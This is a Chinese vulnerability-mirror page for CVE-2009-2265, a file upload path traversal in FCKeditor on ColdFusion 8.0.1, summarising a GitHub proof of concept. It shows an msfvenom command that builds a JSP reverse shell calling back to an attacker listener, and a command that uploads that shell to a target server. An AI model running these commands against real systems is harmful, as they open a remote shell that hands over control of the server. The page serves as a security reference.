CVE-2009-2265 PoC — FCKeditor 路径遍历漏洞

来源

https://github.com/H3xL00m/CVE-2009-2265

关联漏洞

标题:FCKeditor 路径遍历漏洞 (CVE-2009-2265)
Description:FCKeditor是个人开发者的一款开源的专用于在网页上编辑HTML的编辑器。 FCKeditor的editor/filemanager/browser/default/connectors/php/connector.php模块中存在路径遍历漏洞： 147.function FileUpload( $resourceType， $currentFolder ) 148.{ 149.$sErrorNumber = '0' ; 150.$sFileName = '' ; 151. 152.if ( isse

介绍

# Version: ColdFusion 8.0.1
## CVE-2009-2265

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f raw > shell.jsp`

`python upload.py 10.10.10.11 8500 shell.jsp`



Example :

![image](https://user-images.githubusercontent.com/66146701/125869430-979bc7dc-afa2-4d2f-a546-cc05bbb00a1f.png)

![image](https://user-images.githubusercontent.com/66146701/125869597-d96c0ca0-9861-44a2-b1af-05106b79319e.png)

文件快照


 [4.0K]  /data/pocs/48f542856f64fcbeaddfa492098c20d160c4134c
├── [ 422]  README.md
└── [1.7K]  upload.py

0 directories, 2 files

神龙机器人已为您缓存

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2009-2265 PoC — FCKeditor 路径遍历漏洞

来源

关联漏洞

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！